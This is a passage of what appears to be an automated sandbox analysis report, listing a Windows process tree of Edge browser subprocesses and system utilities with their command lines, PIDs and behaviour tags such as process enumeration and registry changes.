                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2084,15680231178713783599,1309631935070030945,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5072 /prefetch:8
                    2⤵
                      PID:2492
                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2084,15680231178713783599,1309631935070030945,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5072 /prefetch:8
                      2⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3596
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,15680231178713783599,1309631935070030945,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2000 /prefetch:1
                      2⤵
                        PID:4944
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,15680231178713783599,1309631935070030945,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4060 /prefetch:1
                        2⤵
                          PID:3244
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,15680231178713783599,1309631935070030945,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4780 /prefetch:1
                          2⤵
                            PID:2704
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,15680231178713783599,1309631935070030945,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5548 /prefetch:1
                            2⤵
                              PID:2700
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,15680231178713783599,1309631935070030945,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2992 /prefetch:1
                              2⤵
                                PID:5512
                            • C:\Windows\System32\CompPkgSrv.exe
                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                              1⤵
                                PID:4196
                              • C:\Windows\System32\CompPkgSrv.exe
                                C:\Windows\System32\CompPkgSrv.exe -Embedding
                                1⤵
                                  PID:4044
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
                                  1⤵
                                    PID:6020
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
                                    1⤵
                                    • Enumerates system info in registry
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                    • Suspicious use of FindShellTrayWindow
                                    • Suspicious use of SendNotifyMessage
                                    PID:408
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffff6e146f8,0x7ffff6e14708,0x7ffff6e14718
                                      2⤵
                                        PID:984
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1884,1954983704767957091,3544383685108262241,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1928 /prefetch:2
                                        2⤵
                                          PID:3108
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1884,1954983704767957091,3544383685108262241,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2436 /prefetch:3
                                          2⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:5972
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1884,1954983704767957091,3544383685108262241,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2748 /prefetch:8
                                          2⤵
                                            PID:4980
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1884,1954983704767957091,3544383685108262241,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3436 /prefetch:1
                                            2⤵
                                              PID:6132
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1884,1954983704767957091,3544383685108262241,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3444 /prefetch:1
                                              2⤵
                                                PID:6136
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1884,1954983704767957091,3544383685108262241,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4316 /prefetch:1
                                                2⤵
                                                  PID:5632
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1884,1954983704767957091,3544383685108262241,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4508 /prefetch:1
                                                  2⤵
                                                    PID:5620
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1884,1954983704767957091,3544383685108262241,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5492 /prefetch:8
                                                    2⤵
                                                      PID:3664
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1884,1954983704767957091,3544383685108262241,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5492 /prefetch:8
                                                      2⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:3624
                                                  • C:\Windows\System32\CompPkgSrv.exe
                                                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                    1⤵
                                                      PID:1652
                                                    • C:\Windows\System32\CompPkgSrv.exe
                                                      C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                      1⤵
                                                        PID:5428
                                                      • C:\Windows\SysWOW64\DllHost.exe
                                                        C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
                                                        1⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:6140
                                                      • C:\Windows\explorer.exe
                                                        C:\Windows\explorer.exe /factory,{5BD95610-9434-43C2-886C-57852CC8A120} -Embedding
                                                        1⤵
                                                        • Checks processor information in registry
                                                        • Modifies Internet Explorer settings
                                                        • Modifies registry class
                                                        • Suspicious behavior: AddClipboardFormatListener
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        • Suspicious use of FindShellTrayWindow
                                                        PID:2656
                                                        • C:\Windows\system32\systempropertiesadvanced.exe
                                                          "C:\Windows\system32\systempropertiesadvanced.exe"
                                                          2⤵
                                                          • Modifies visibility of file extensions in Explorer
                                                          • Modifies visiblity of hidden/system files in Explorer
                                                          PID:5768
                                                      • C:\Windows\System32\rundll32.exe
                                                        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                        1⤵
                                                          PID:2780
                                                        • C:\Windows\system32\mspaint.exe
                                                          "C:\Windows\system32\mspaint.exe" "C:\Windows\Web\Wallpaper\Theme2\img9.jpg" /ForceBootstrapPaint3D
                                                          1⤵
                                                          • Modifies registry class
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of SetWindowsHookEx
                                                          PID:2668
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s DsSvc
                                                          1⤵
                                                            PID:5264
                                                          • C:\Windows\system32\OpenWith.exe
                                                            C:\Windows\system32\OpenWith.exe -Embedding
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:5588
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
                                                            1⤵
                                                            • Enumerates system info in registry
                                                            • NTFS ADS
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                            • Suspicious use of FindShellTrayWindow
                                                            • Suspicious use of SendNotifyMessage
                                                            PID:4932
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffff6e146f8,0x7ffff6e14708,0x7ffff6e14718
                                                              2⤵
                                                                PID:3504
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2228 /prefetch:2
                                                                2⤵
                                                                  PID:4328
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 /prefetch:3
                                                                  2⤵
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:5140
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2852 /prefetch:8
                                                                  2⤵
                                                                    PID:2336
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3400 /prefetch:1
                                                                    2⤵
                                                                      PID:2348
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3404 /prefetch:1
                                                                      2⤵
                                                                        PID:4504
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5032 /prefetch:1
                                                                        2⤵
                                                                          PID:4784
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3848 /prefetch:1
                                                                          2⤵
                                                                            PID:3012
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3412 /prefetch:8
                                                                            2⤵
                                                                              PID:3660
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3412 /prefetch:8
                                                                              2⤵
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              PID:5616
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4040 /prefetch:1
                                                                              2⤵
                                                                                PID:5812
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3556 /prefetch:1
                                                                                2⤵
                                                                                  PID:1608
                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5116 /prefetch:1
                                                                                  2⤵
                                                                                    PID:1316
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4480 /prefetch:1
                                                                                    2⤵
                                                                                      PID:872
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3504 /prefetch:1
                                                                                      2⤵
                                                                                        PID:3232
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5544 /prefetch:1
                                                                                        2⤵
                                                                                          PID:1328
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5844 /prefetch:1
                                                                                          2⤵
                                                                                            PID:3472
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5504 /prefetch:1
                                                                                            2⤵
                                                                                              PID:1628
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2392 /prefetch:1
                                                                                              2⤵
                                                                                                PID:2072
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3108 /prefetch:1
                                                                                                2⤵
                                                                                                  PID:5584
                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5652 /prefetch:1
                                                                                                  2⤵
                                                                                                    PID:5912
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5948 /prefetch:1
                                                                                                    2⤵
                                                                                                      PID:2040
                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5744 /prefetch:1
                                                                                                      2⤵
                                                                                                        PID:3212
                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=4476 /prefetch:8
                                                                                                        2⤵
                                                                                                          PID:5196
                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3836 /prefetch:1
                                                                                                          2⤵
                                                                                                            PID:1540
                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6752 /prefetch:8
                                                                                                            2⤵
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:4416
                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6628 /prefetch:1
                                                                                                            2⤵
                                                                                                              PID:2868
                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6492 /prefetch:1
                                                                                                              2⤵
                                                                                                                PID:2140
                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6956 /prefetch:1
                                                                                                                2⤵
                                                                                                                  PID:5812
                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5520 /prefetch:1
                                                                                                                  2⤵
                                                                                                                    PID:5772
                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6324 /prefetch:1
                                                                                                                    2⤵
                                                                                                                      PID:1328
                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6796 /prefetch:1
                                                                                                                      2⤵
                                                                                                                        PID:2472
                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1.5 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=180 /prefetch:1
                                                                                                                        2⤵
                                                                                                                          PID:5232
                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6800 /prefetch:8
                                                                                                                          2⤵
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          PID:4264
                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2164,81109565388450465,10667924567249947795,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6832 /prefetch:8
                                                                                                                          2⤵
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          PID:1464
